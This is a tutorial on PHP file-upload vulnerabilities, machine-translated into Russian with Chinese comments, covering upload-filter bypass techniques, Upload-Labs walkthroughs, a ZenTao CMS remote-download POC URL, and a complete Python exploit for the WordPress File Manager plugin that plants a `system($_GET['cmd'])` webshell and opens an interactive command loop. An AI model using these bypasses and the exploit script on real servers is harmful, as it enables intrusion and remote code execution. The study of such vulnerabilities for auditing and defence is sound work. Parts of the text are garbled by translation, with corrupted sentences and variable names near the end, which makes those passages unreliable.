Аудит кода PHP 7 — уязвимость загрузки файлов

1. Основы уязвимостей загрузки файлов

1. Принцип уязвимости

Уязвимость загрузки файла означает, что пользователь загружает исполняемый файл сценария и получает возможность выполнять серверные команды через этот файл сценария. Этот эксплойт — один из самых быстрых и прямых методов getShell.

Обычный сценарий заключается в том, что веб-сервер позволяет пользователям загружать изображения или обычные текстовые файлы для хранения, а пользователь обходит механизм загрузки, чтобы загрузить вредоносный код и выполнить его для управления сервером.

2. Общие методы защиты и техники обхода

  • Метод защиты 1: обнаружение суффикса файла внешнего интерфейса

    绕过方法:修改文件后缀为可允许类型,抓包修改文件后缀
    
  • Метод защиты 2: Черный список

    • Обход со специальным суффиксом

      示例情况:
      jsp: jspx,jspf
      asp: asa,cer,aspx
      php: php1,php2,php3,php5,phtml
      exe: exee
      
    • Загрузить файл .htaccess в обход

      .htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问等。.htaccess文件内容示例如下:
      		<FilesMatch "shell">
      			SetHandler application/x-httpd-php
      		</FilesMatch>
      通过此方法可以让任何文件名中包含了shell字符串的文件都使用PHP来解析。
      不过要使用.htaccess文件有一定的限制条件,在apache的配置文件中,需要将AllowOverride 设置为 ALL。否则.htaccess文件会不起作用。
      
    • Система Windows использует системные функции Windows для обхода

      1 :“::$DATA” 绕过
      	“::$DATA” 是Windows中的一个文件流标识符,会将“::$DATA”之后的内容当做文件流处理,而不把他当做文件名,从而绕过文件后缀检测。比如shell.php::DATA,由于后缀不是黑名单中的后缀,所以绕过检测。
      2:空格绕过
      	利用特性是windows会对文件中的点进行自动去除,所以可以在文件名末尾加点绕过黑名单检测
      3: 空格绕过
      	如果黑名单检测前没有对文件名做空格去除处理,那么就可以在文件名后面加空格绕过。
      4:其他绕过方法
      	双写文件后缀名绕过,比如phPhPp,适用于检测黑名单后缀使用str_replace()替换为空的情况。
      	后缀大小写绕过,比如PhP,PHp等,适用于没有对后缀名做大小写转换情况。
      
  • Метод защиты 3: Белый список

    • Обнаружение белого списка расширений файлов

      使用00截断进行绕过,不过此方法具有一定的限制:
      	1)PHP版本小于5.3.4,PHP 5.3.4以后的版本修复了此问题
      	2)php.ini里面的magic_quotes_gpc为OFF,在PHP4.0及以上的版本中,此选项默认为ON。
      
    • Проверка типа MIME

      文件的MIME类型校验常见的就是白名单校验的方式,我们只需要修改上传文件的MIME类型即可,修改后,并不会对脚本文件的解析产生影响。常见的文件MIME类型如下:
      .png: image/png
      .gif: image/gif
      .pdf: application/pdf
      .xml: text/xml
      .word: application/msword
      
    • проверка заголовка файла

      常见的文件头(文件幻数)如下:
      JPEG (jpg),文件头:FFD8FF
      PNG (png),文件头:89504E47
      GIF (gif),文件头:47494638
      XML (xml),文件头:3C3F786D6C
      HTML (html),文件头:68746D6C3E
      在对文件头进行校验时,用16进制编辑工具修改我们的文件头即可.
      
    • Сотрудничайте с уязвимостями парсинга файлов, чтобы обойти

      常见的解析漏洞:
      1、Apache陌生后缀解析漏洞
      2、Apache罕见后缀解析,比如php3,php4,php5,pht,phtml等
      3、Apache 2.4.0-2.4.29 \x0A换行解析漏洞
      4、Apache 错误配置导致的解析漏洞。比如Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。
      5、Nginx低版本空字节代码解析漏洞:可以通过在任意文件名后面增加%00.php解析为php,如1.jpg%00.php
      6、PHP-cig解析漏洞:在php配置文件中,开启了cgi.fix_pathinfo,导致图片马1.jpg可以通过访问1.jpg/.php、1.jpg%00.php解析成php文件
      7、IIS目录解析漏洞,IIS6.0和IIS5.x
      8、IIS分号解析漏洞,在IIS-6.0的版本,服务器默认不解析;后面的内容,所以xxx.asp;.jpg会被解析成xxx.asp。
      
  • Метод защиты 5: вторичный рендеринг файлов изображений

    此方法比较少见,一般的绕过方法就是观察二次渲染后的图片和原始图片有哪些地方是没有被渲染过的,然后尝试在没有被渲染的位置插入木马内容。
    
  • Метод защиты 6: переименование файлов

    这样的方法实际上没有直接的绕过方式,主要还是配合其他的一些绕过方式进行,比如白名单的00截断,黑名单的特殊后缀绕过等,然后根据上传后被重命名的文件名来进行访问.
    但是如果文件在重命名之前,使用了白名单机制检测文件后缀,然后对整个文件名(包含文件后缀)进行重命名,再添加白名单中的文件后缀进行保存的话,就只能考虑利用文件包含漏洞来进行利用了。
    

3. Недавно анонсированные уязвимости загрузки файлов

  • Уязвимость загрузки произвольного файла dotCMS api/content (CVE-2022-26352)

  • Уязвимость загрузки произвольного файла WSO2 fileupload (CVE-2022-29464)

  • Уязвимость загрузки файла UploadFile.php электронного офиса

  • В консоли управления TongWeb существует уязвимость загрузки файлов (CNVD-2021-24778)

  • Уязвимость произвольной загрузки файлов в ПО для совместной работы yyoa A8

  • Уязвимость при загрузке произвольного файла Fanruan V9

  • Уязвимость Kingsoft Terminal Security V8/V9, связанная с загрузкой произвольных файлов

2. Частичный анализ кода Upload-Labs

1. Обнаружение черного списка суффиксов Pass-4

Или сначала посмотрите на код:

if (isset($_POST['submit'])) {
    
    
    if (file_exists(UPLOAD_PATH)) {
    
    
      //定义黑名单
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.'); //从第一个“.”开始截取后缀名
        $file_ext = strtolower($file_ext); //后缀名转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
      	$file_ext = trim($file_ext); //文件后缀首尾去空
        if (!in_array($file_ext, $deny_ext)) {
    
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
    
    
                $is_upload = true;
            } else {
    
    
                $msg = '上传出错!';
            }
        } else {
    
    
            $msg = '此文件不允许上传!';
        }
    } else {
    
    
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
    

Видно, что многие суффиксы определены в нашем черном списке, в том числе наши общие суффиксы, которые могут быть проанализированы, помещены в черный список.

Но тут мы обнаружили, что после фильтрации "точки" в конце файла он фильтровал пробел после имени файла, а потом уже не фильтровал. В этом случае мы можем использовать суффикс файла плюс «..», чтобы обойти обнаружение.

Сначала создайте файл phpinfo, установите для него суффикс jpg, перехватите пакет в burpsuite и измените имя файла:

вставьте сюда описание изображения

Затем мы получаем доступ к fuck.php:

вставьте сюда описание изображения

Видно, что загруженный файл php был успешно выполнен. То есть обход обнаружения черного списка успешен.

Однако есть еще один способ предотвратить его обход: мы можем обнаружить, что суффикс .htaccess не фильтруется в черном списке, поэтому мы можем переопределить правила парсинга файлов, загрузив файл .htaccess, а затем загрузить веб-шелл .

2. Обнаружение белого списка заголовков файлов

Сначала посмотрите на исходный код:

function getReailFileType($filename){
    
    
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //读取文件内容,但是只读前2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);  //获取文件头的整型数据
    $fileType = '';    
    switch($typeCode){
    
       //通过文件头判断文件后缀   
        case 255216: $fileType = 'jpg';
            break;
        case 13780: $fileType = 'png';
            break;        
        case 7173: $fileType = 'gif';
            break;
        default:  $fileType = 'unknown';
        }    
        return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);//获取校验结果
    if($file_type == 'unknown'){
    
       
        $msg = "文件未知,上传失败!";
    }else{
    
    
      //拼接文件名和校验得出的文件后缀,并保存。
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; 
        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        } else {
    
    
            $msg = "上传出错!";
        }
    }
}

Благодаря приведенному выше анализу кода окончательный результат сохранения имени нашего файла — xxxx.png, xxxx.jpg или xxxx.gif, поэтому независимо от того, какой файл мы загружаем, даже если заголовок файла изменен, обнаружение заголовка файла Он по-прежнему будет сохранен в виде файла в формате изображения, поэтому вы можете использовать этот файл только для эксплуатации уязвимости в соответствии с названием статьи.

Прежде всего, нам нужно сделать изображение лошади, и использовать команду копирования, чтобы завершить его под окнами. Затем загрузите напрямую.

вставьте сюда описание изображения

Видно, что после загрузки файл переименовывается в 9920220721232018.png, поэтому нам нужно использовать это имя файла. Модель файла содержит:

вставьте сюда описание изображения

Видно, что файл подключен и php-код успешно выполняется.

3. Уязвимость загрузки файлов ZenTao CMS

В версии ZenTao CMS<=12.4.2 существует уязвимость загрузки файлов, из-за слабой фильтрации разработчиком параметров ссылки злоумышленник может управлять ссылкой загрузки, что приводит к удаленной загрузке файлов вредоносных скриптов на сервер, в результате выполнение произвольного кода и доступ к веб-шеллу.

1. Анализ системной архитектуры

Фреймворк ZenTao CMS поддерживает шаблон программной архитектуры MVC. Базовая ситуация со структурой решения системного каталога выглядит следующим образом:

├── api      //接口目录
├── bin      //存放禅道系统的一些命令脚本
├── config   //系统运行的相关配置文件
├── db       //历次升级的数据库脚本和完整的建库脚本。
├── doc      // 文档。
├── framework//框架核心目录,禅道php框架的核心类文件,里面包含了router, control, model和helper的定义文件。
├── lib      //常用的类。比如html,js和css类、数据库DAO类、数据验证fixer类等。
├── module   //模块目录,存放具体的功能模块。
├── sdk      //PHP sdk类。
├── tmp      //存放禅道程序运行时的临时文件。
└── www      //存放各种样式表文件,js文件,图片文件,以及禅道的入口程序index.php

Основы и принципы работы фреймворка CMS:

  • Запрос перенаправляется в index.php( \zentao\app\htdocs\index.php) через службу apache, и он выполняет планирование ресурсов.
  • index.php загружает файл фреймворка, инициализирует приложение, анализирует запрос URI и получает имя модуля, метод и параметры, соответствующие запросу. Например, URL: /zentao/testcase-browse-1.html, имя модуля — testcase, имя метода —browse, а 1 — параметр.
  • Затем загрузите метод управления и метод модели соответствующего модуля, а затем отобразите шаблон (файл просмотра) и представьте его пользователю.

2. Анализ уязвимостей

Во-первых, нам нужно знать, где генерируется уязвимость.С помощью следующего POC мы можем обнаружить, что используемый шаблон — это clint, а функция — это функция download().

1)http://[目标地址]/www/client-download-[$version参数]-[base64加密后的恶意文件地址].html
2)http:// [目标地址] /www/index.php?m=client&f=download&version=[$version参数]&link=[ base64加密后的恶意文件地址]

Конкретное расположение функции: строка 86 файла \zentaopms\module\client\control.php.

public function download($version = '', $link = '', $os = '')
    {
    
    
        set_time_limit(0);
        $result = $this->client->downloadZipPackage($version, $link);
        if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));
        $client = $this->client->edit($version, $result, $os);
        if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));
        $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));
    }

Видно, что функция downloadZipPackage() сначала используется для обработки целевого файла, а затем оценивается результат обработки и выводится подсказка для использования. Затем ключевым моментом является наша функция downloadZipPackage(), Давайте отследим эту функцию и выполним поиск по всему миру и обнаружим, что эта функция находится в \zentaopms\module\client\ext\model\xuanxuan.php:

public function downloadZipPackage($version, $link)
{
    
    
    $decodeLink = helper::safe64Decode($link); //base64解码URL链接
    if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;  //通过正则表达式检测$link链接是否是http或https开头,如果是,则返回false。这里可以将http头大写绕过检测。
    return parent::downloadZipPackage($version, $link);//调用父节点的downloadZipPackage()
}
//在新12.4.2以后的版本中,增加了白名单机制检测文件后缀名
$file      = basename($decodeLink);
$extension = substr($file, strrpos($file, '.') + 1);
if(strpos(",{
      
      $this->config->file->allowed},", ",{
      
      $extension},") === false) return false;

Мы видим, что в \zentaopms\module\client\ext\model\xuanxuan.php функция downloadZipPackage() вызывает функцию downloadZipPackage() родительского узла, который находится в \zentaopms\module\client\model.php Строка 164. .

public function downloadZipPackage($version, $link){
    
    
        ignore_user_abort(true);
        set_time_limit(0);
        if(empty($version) || empty($link)) return false;
        $dir  = "data/client/" . $version . '/';   //通过version设置保存文件的地址
        $link = helper::safe64Decode($link);       //对远程文件的URL进行base64解码
        $file = basename($link);    //获取远程文件的文件名
        if(!is_dir($this->app->wwwRoot . $dir)){
    
       //不存在文件夹则创建文件加
            mkdir($this->app->wwwRoot . $dir, 0755, true);
        }
        if(!is_dir($this->app->wwwRoot . $dir)) return false; //如果目录创建失败,返回false。
        if(file_exists($this->app->wwwRoot . $dir . $file)){
    
    
            return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
        }
        ob_clean();
        ob_end_flush();
        $local  = fopen($this->app->wwwRoot . $dir . $file, 'w');  //以w模式打开文件
        $remote = fopen($link, 'rb');   //读取远程文件
        if($remote === false) return false;
        while(!feof($remote)){
    
       //远程文件读取成功,则写入到打开的$local文件中
            $buffer = fread($remote, 4096);   
            fwrite($local, $buffer);
        }
        fclose($local);
        fclose($remote);
        return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
    }
}

В этой функции наш удаленный файл сохраняется в локальную директорию data/client/.$version/, и в процессе его сохранения суффикс файла и содержимое файла не обрабатываются, а выполняются без изменений. Таким образом, это приводит к генерации произвольной уязвимости загрузки файлов.

3. Повторение уязвимости

Во-первых, мы создаем веб-оболочку PHP на удаленном сервере, который является лошадью Годзиллы, используемой здесь напрямую:

вставьте сюда описание изображения

Затем мы создаем POC и позволяем системе CMS загрузить наш троянский файл, но здесь нам нужно сначала закодировать base64 наш URL:

вставьте сюда описание изображения

Затем создайте POC:

http://targetIp/index.php?m=client&f=download&version=1&link=SFRUUDovLzE5Mi4xNjguOTcuMTkwOjgwMDAvZnVjay5waHA=

Посетите ссылку POC, но она сообщает, что загрузка не удалась.Путём отладки обнаружено, что обычный результат обнаружения верен при обнаружении заголовка http. В результате обойти не удалось, но просмотр исходного кода показал, что модификатор /i не использовался для указания нечувствительности к регистру, поэтому теоретически верхний регистр может обойти обычную проверку http-заголовка.

Вот еще один способ сделать это, то есть использовать ftp, и на этот раз файл успешно загружен.

В-четвертых, Wordpress File Manager анализ уязвимостей при загрузке произвольных файлов.

1. Анализ уязвимостей

Сначала давайте посмотрим на сценарий эксплойта:

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
"""
@Author  : xDroid
@File    : wp.py
@Time    : 2020/9/21
"""
import requests
requests.packages.urllib3.disable_warnings()
from hashlib import md5
import random
import json
import optparse
import sys
 
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'
 
proxies={
    
     'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080' }
 
def randmd5():
    new_md5 = md5()
    new_md5.update(str(random.randint(1, 1000)).encode())
    return new_md5.hexdigest()[:6]+'.php'
 
def file_manager(url):
    if not url:
        print('#Usage : python3 file_manager_upload.py -u http://127.0.0.1')
        sys.exit()
    vuln_url=url.strip()+"/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
    filename=randmd5()
    headers={
    
    
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0',
        'Content-Type':'multipart/form-data;boundary=---------------------------42474892822150178483835528074'
    }
    data="-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n1744f7298611ba\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"%s\"\r\nContent-Type: application/php\r\n\r\n<?php system($_GET['cmd']); ?>\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n1597850374\r\n-----------------------------42474892822150178483835528074--\r\n"%filename
    try:
        resp=requests.post(url=vuln_url,headers=headers,data=data,timeout=3, verify=False,proxies=proxies)
        result = json.loads(resp.text)
        if filename == result['added'][0]['url'].split('/')[-1]:
            print(GREEN+'[+]\t\t'+ENDC+YELLOW+'File Uploaded Success\t\t'+ENDC)
            while(True):
                command = input("请输入执行的命令:")
                if "q" == command:
                    sys.exit()
                exec_url = url+'/wp-content/plugins/wp-file-manager/lib/files/'+filename+'?cmd='+command.strip()
                exec_resp = requests.get(url=exec_url)
                exec_resp.encoding='gb2312'
                print(exec_resp.text)
 
        else:
            print(RED+'[-]\t\tUploaded failed\t\t'+ENDC)
    except Exception as e:
        print(RED + '[-]\t\tUploaded failed\t\t' + ENDC)
 
 
if __name__ == '__main__':
    banner = GREEN+'''
      __ _ _                                                    
     / _(_) | ___   _ __ ___   __ _ _ __   __ _  __ _  ___ _ __ 
    | |_| | |/ _ \ | '_ ` _ \ / _` | '_ \ / _` |/ _` |/ _ \ '__|
    |  _| | |  __/ | | | | | | (_| | | | | (_| | (_| |  __/ |   
    |_| |_|_|\___| |_| |_| |_|\__,_|_| |_|\__,_|\__, |\___|_|   
                                                |___/           
                    by: Timeline Sec
                    file manager 6.0-6.8 file upload
    '''+ENDC
    print(banner)
    parser = optparse.OptionParser('python3 %prog' + '-h')
    parser.add_option('-u', dest='url', type='str', help='wordpress url')
    (options, args) = parser.parse_args()
    file_manager(options.url)

Как видите, наша уязвимость находится в /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php. Заходим в файл и видим:

$opts = array(
	// 'debug' => true,
	'roots' => array(
		// Items volume
		array(
			'driver' => 'LocalFileSystem',  // driver for accessing file system (REQUIRED)
			'path' => '../files/', // path to files (REQUIRED)
			'URL' => dirname($_SERVER['PHP_SELF']) . '/../files/', // URL to files 
			'trashHash'=> 't1_Lw',// elFinder's hash of trash folder
			'winHashFix' => DIRECTORY_SEPARATOR !== '/', 
			'uploadDeny' => array('all'),// All Mimetypes not allowed to upload
			'uploadAllow' => array('all'), 
			'uploadOrder'=> array('deny', 'allow'),
			'accessControl' => 'access'// disable and hide dot starting files (OPTIONAL)
		),
		array(
			'id' => '1',
			'driver' => 'Trash',
			'path' => '../files/.trash/',
			'tmbURL' => dirname($_SERVER['PHP_SELF']) . '/../files/.trash/.tmb/',
			'winHashFix' => DIRECTORY_SEPARATOR !== '/', 
			'uploadDeny' => array('all'),
			'uploadAllow' => array('image/x-ms-bmp', 'image/gif', 'image/jpeg', 'image/png', 'image/x-icon', 'text/plain'), // Same as above
			'uploadOrder' => array('deny', 'allow'),  // Same as above
			'accessControl' => 'access',// Same as above
		),
	)
);
// run elFinder
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();

Как видите, в этом файле создается экземпляр объекта elFinderConnector, а затем вызывается метод run() этого объекта. Давайте перейдем к методу запуска, чтобы увидеть:

 public function run()
    {
    
    
        $isPost = $this->reqMethod === 'POST';    //判断请求方法是否是POST
        $src = $isPost ? array_merge($_GET, $_POST) : $_GET; //将POST数据写入src
        $maxInputVars = (!$src || isset($src['targets'])) ? ini_get('max_input_vars') : null;   //获取php.ini中关于上传数组的大小限制,
        if ((!$src || $maxInputVars) && $rawPostData = file_get_contents('php://input')) {
    
     //获取了POST传送过来的数据
            $parts = explode('&', $rawPostData);
            if (!$src || $maxInputVars < count($parts)) {
    
    
                $src = array();
                foreach ($parts as $part) {
    
      //循环遍历POST中的每个参数
                    list($key, $value) = array_pad(explode('=', $part), 2, ''); //将POST参数的key与value分离,写入列表中
                    $key = rawurldecode($key);
                  //对key进行检测,并更具不同情况获取URL decode后的value.
                    if (preg_match('/^(.+?)\[([^\[\]]*)\]$/', $key, $m)) {
    
    
                        $key = $m[1];
                        $idx = $m[2];
                        if (!isset($src[$key])) {
    
    
                            $src[$key] = array();
                        }
                        if ($idx) {
    
    
                            $src[$key][$idx] = rawurldecode($value);
                        } else {
    
    
                            $src[$key][] = rawurldecode($value);
                        }
                    } else {
    
    
                        $src[$key] = rawurldecode($value);
                    }
                }
                $_POST = $this->input_filter($src);
                $_REQUEST = $this->input_filter(array_merge_recursive($src, $_REQUEST));
            }
        }
   				//判断上传的target数组的长度
        if (isset($src['targets']) && $this->elFinder->maxTargets && count($src['targets']) > $this->elFinder->maxTargets) {
    
    
            $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_MAX_TARGTES)));
        }

        $cmd = isset($src['cmd']) ? $src['cmd'] : '';
        $args = array();
				//判断是否存在json_encode方法。
        if (!function_exists('json_encode')) {
    
    
            $error = $this->elFinder->error(elFinder::ERROR_CONF, elFinder::ERROR_CONF_NO_JSON);
            $this->output(array('error' => '{"error":["' . implode('","', $error) . '"]}', 'raw' => true));
        }
        if (!$this->elFinder->loaded()) {
    
    
            $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_CONF, elFinder::ERROR_CONF_NO_VOL), 'debug' => $this->elFinder->mountErrors));
        }
				//判断是否存在CMD参数以及是否是POST类型的传输数据。
        if (!$cmd && $isPost) {
    
    
            $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_UPLOAD, elFinder::ERROR_UPLOAD_TOTAL_SIZE), 'header' => 'Content-Type: text/html'));
        }
   			//通过commandExists判断cmd参数是否存在。
        if (!$this->elFinder->commandExists($cmd)) {
    
    
            $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_UNKNOWN_CMD)));
        }
        $hasFiles = false;
        foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
    
    
            if ($name === 'FILES') {
    
    
                if (isset($_FILES)) {
    
    
                    $hasFiles = true;
                } elseif ($req) {
    
    
                    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd)));
                }
            } else {
    
    
                $arg = isset($src[$name]) ? $src[$name] : '';

                if (!is_array($arg) && $req !== '') {
    
    
                    $arg = trim($arg);
                }
                if ($req && $arg === '') {
    
    
                    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd)));
                }
                $args[$name] = $arg;
            }
        }
        $args['debug'] = isset($src['debug']) ? !!$src['debug'] : false;
        $args = $this->input_filter($args);
        if ($hasFiles) {
    
    
            $args['FILES'] = $_FILES;
        }
        try {
    
    
          	//执行exec方法。
            $this->output($this->elFinder->exec($cmd, $args));
        } catch (elFinderAbortException $e) {
    
    
            $this->elFinder->getSession()->close();
            // HTTP response code
            header('HTTP/1.0 204 No Content');
            // clear output buffer
            while (ob_get_level() && ob_end_clean()) {
    
    
            }
            exit();
        }
    }

Можно видеть, что в функции run() данные, запрошенные POST и GET, сначала помещаются в $src, а затем оцениваются параметры, переданные POST. После нескольких суждений функция commandExists () используется для обнаружения параметра «cmd», переданного POST. Эта функция вызывает массив команд [] для обнаружения. Поскольку это загрузка файла, поэтому просто обратите внимание на загрузку файла в команды Определение:

public function commandExists($cmd)
    {
    
    
        return $this->loaded && isset($this->commands[$cmd]) && method_exists($this, $cmd);
    }
//commands[]数组情况
'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false),

Затем выполните цикл и запишите параметры, переданные POST, в массив args[]:

foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
    
    
            if ($name === 'FILES') {
    
    
                if (isset($_FILES)) {
    
    
                    $hasFiles = true;
                } elseif ($req) {
    
    
                    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd)));
                }
            } else {
    
    
                $arg = isset($src[$name]) ? $src[$name] : '';

                if (!is_array($arg) && $req !== '') {
    
    
                    $arg = trim($arg);
                }
                if ($req && $arg === '') {
    
    
                    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd)));
                }
                $args[$name] = $arg;
            }
        }

Затем вызывается метод input_filter() для фильтрации и экранирования параметров в массиве:

protected function input_filter($args)
    {
    
    
        static $magic_quotes_gpc = NULL;

        if ($magic_quotes_gpc === NULL)
          	//使用magic_quotes_gpc进行转义
            $magic_quotes_gpc = (version_compare(PHP_VERSION, '5.4', '<') && get_magic_quotes_gpc());

        if (is_array($args)) {
    
    
            return array_map(array(& $this, 'input_filter'), $args);
        }
  			//替换掉转义后的%00
        $res = str_replace("\0", '', $args);
        $magic_quotes_gpc && ($res = stripslashes($res));
        $res = stripslashes($res);
        return $res;
    }

Затем сохраните загруженный формой файл в $args['FILES'], а затем вызовите метод exec():

if ($hasFiles) {
    
    
    $args['FILES'] = $_FILES;
 }
 try {
    
    
     //执行exec方法。
     $this->output($this->elFinder->exec($cmd, $args));
}

Следуйте в методе exec, введите это —> это->т привет с > cmd($args) вызывает функцию upload().

 if (!is_array($result)) {
    
    
            try {
    
    
                $result = $this->$cmd($args);
            } catch (elFinderAbortException $e) {
    
    
                throw $e;
            } catch (Exception $e) {
    
    
                $result = array(
                    'error' => htmlspecialchars($e->getMessage()),
                    'sync' => true
                );
                if ($this->throwErrorOnExec) {
    
    
                    throw $e;
                }
            }
        }

Продолжайте следить за функцией загрузки: присвойте значение args['target'] значению args['target'] дляа р г с [ цель_____ ]присваиваетсяцели, а затем вызывается функция volume():

вставьте сюда описание изображения

Войдите в функцию volume (), вы можете видеть, что есть два варианта для volmns: «l1» и «t1», если содержимое цели, которую мы входим и выходим, начинается с «l1» или «t1», возвращает соответствующий идентификатор , в противном случае верните false. Когда возвращается false, это будет обнаружено в uload, и будет возвращено сообщение об ошибке. Другими словами, targrt может быть успешно загружен только в том случае, если он начинается с «l1» или «t1».

вставьте сюда описание изображения

Затем, после серии тестов в функции upload(), вводится функция itemLock(), а функция itemLocked() вызывается через суждение в первом операторе if:

вставьте сюда описание изображения

Войдите в функцию itemLocked(), создайте и определите файл .lock в каталоге .tmp текущего каталога и верните true, если он существует:

вставьте сюда описание изображения

Затем используйте file_put_conyent() в itemLock(), чтобы заблокировать файл. Затем вернитесь к функции upload() и используйте метод $volume->getMimeTable() для получения типов MIME, соответствующих различным суффиксам файлов.

Затем введите функцию триггера, чтобы определить, является ли значение listeners[$cmd] пустым (здесь обычно пустым):

вставьте сюда описание изображения

Затем вернитесь к функции upload() и используйте метод touch() для создания файла кэша tmp в каталоге Windows:

вставьте сюда описание изображения

Затем используйте функцию upload(), чтобы определить, существуют ли файлы кэша tmpnames, существуют ли tmpnames,Существуют ли имена t m p , пуста ли цель и не равна ли онахешу, хэшу,ha s h , пустой ли файл и т. д. Наконец, определяется, существует ли файл кеша в каталоге tmp в текущем каталоге кеша, и удаляется файл. Затем возвращается массив результатов:

вставьте сюда описание изображения

Затем он возвращается к функции exec, которая обрабатывается функциями remove() и resetResultStat():

вставьте сюда описание изображения

Затем вызовите функцию dir():

вставьте сюда описание изображения

Функция file() вызывается в функции dir():

вставьте сюда описание изображения

В файловой функции вызывается функция decode().В функции decode() перехватываются два последних символа цели и декодируется base64.В результате декодирования получается "/", это путь для сохранения нашего файла.

вставьте сюда описание изображения

После возврата из функции decode() снова вызывается функция stat():

protected function stat($path)
    {
    
    
        if ($path === false || is_null($path)) {
    
    
            return false;
        }
        $is_root = ($path == $this->root);
        if ($is_root) {
    
    
            $rootKey = $this->getRootstatCachekey();
            if ($this->sessionCaching['rootstat'] && !isset($this->sessionCache['rootstat'])) {
    
    
                $this->sessionCache['rootstat'] = array();
            }
            if (!isset($this->cache[$path]) && !$this->isMyReload()) {
    
    
                // need $path as key for netmount/netunmount
                if ($this->sessionCaching['rootstat'] && isset($this->sessionCache['rootstat'][$rootKey])) {
    
    
                    if ($ret = $this->sessionCache['rootstat'][$rootKey]) {
    
    
                        if ($this->options['rootRev'] === $ret['rootRev']) {
    
    
                            if (isset($this->options['phash'])) {
    
    
                                $ret['isroot'] = 1;
                                $ret['phash'] = $this->options['phash'];
                            }
                            return $ret;
                        }
                    }
                }
            }
        }
        $rootSessCache = false;
        if (isset($this->cache[$path])) {
    
    
            $ret = $this->cache[$path];
        } else {
    
    
            if ($is_root && !empty($this->options['rapidRootStat']) && is_array($this->options['rapidRootStat']) && !$this->needOnline) {
    
    
                $ret = $this->updateCache($path, $this->options['rapidRootStat'], true);
            } else {
    
    
                $ret = $this->updateCache($path, $this->convEncOut($this->_stat($this->convEncIn($path))), true);
                if ($is_root && !empty($rootKey) && $this->sessionCaching['rootstat']) {
    
    
                    $rootSessCache = true;
                }
            }
        } 
        if ($is_root) {
    
    
            if ($ret) {
    
    
                $this->rootModified = false;
                if ($rootSessCache) {
    
    
                    $this->sessionCache['rootstat'][$rootKey] = $ret;
                }
                if (isset($this->options['phash'])) {
    
    
                    $ret['isroot'] = 1;
                    $ret['phash'] = $this->options['phash'];
                }
            } else if (!empty($rootKey) && $this->sessionCaching['rootstat']) {
    
    
                unset($this->sessionCache['rootstat'][$rootKey]);
            }
        }
        return $ret;
    }

Возвращаемое значение функции stat() — это ret в формате массива . Значения возвращаются сразу в функцию dir и функцию uload. И возложена на рет функции upload(). Значение возвращается одновременно в функцию dir и функцию uload. И назначена функция upload()повторно т . Значение возвращается одновременно в функцию dir и функцию ul o a d . И присваивается директории функции u pl o a d ( ) .

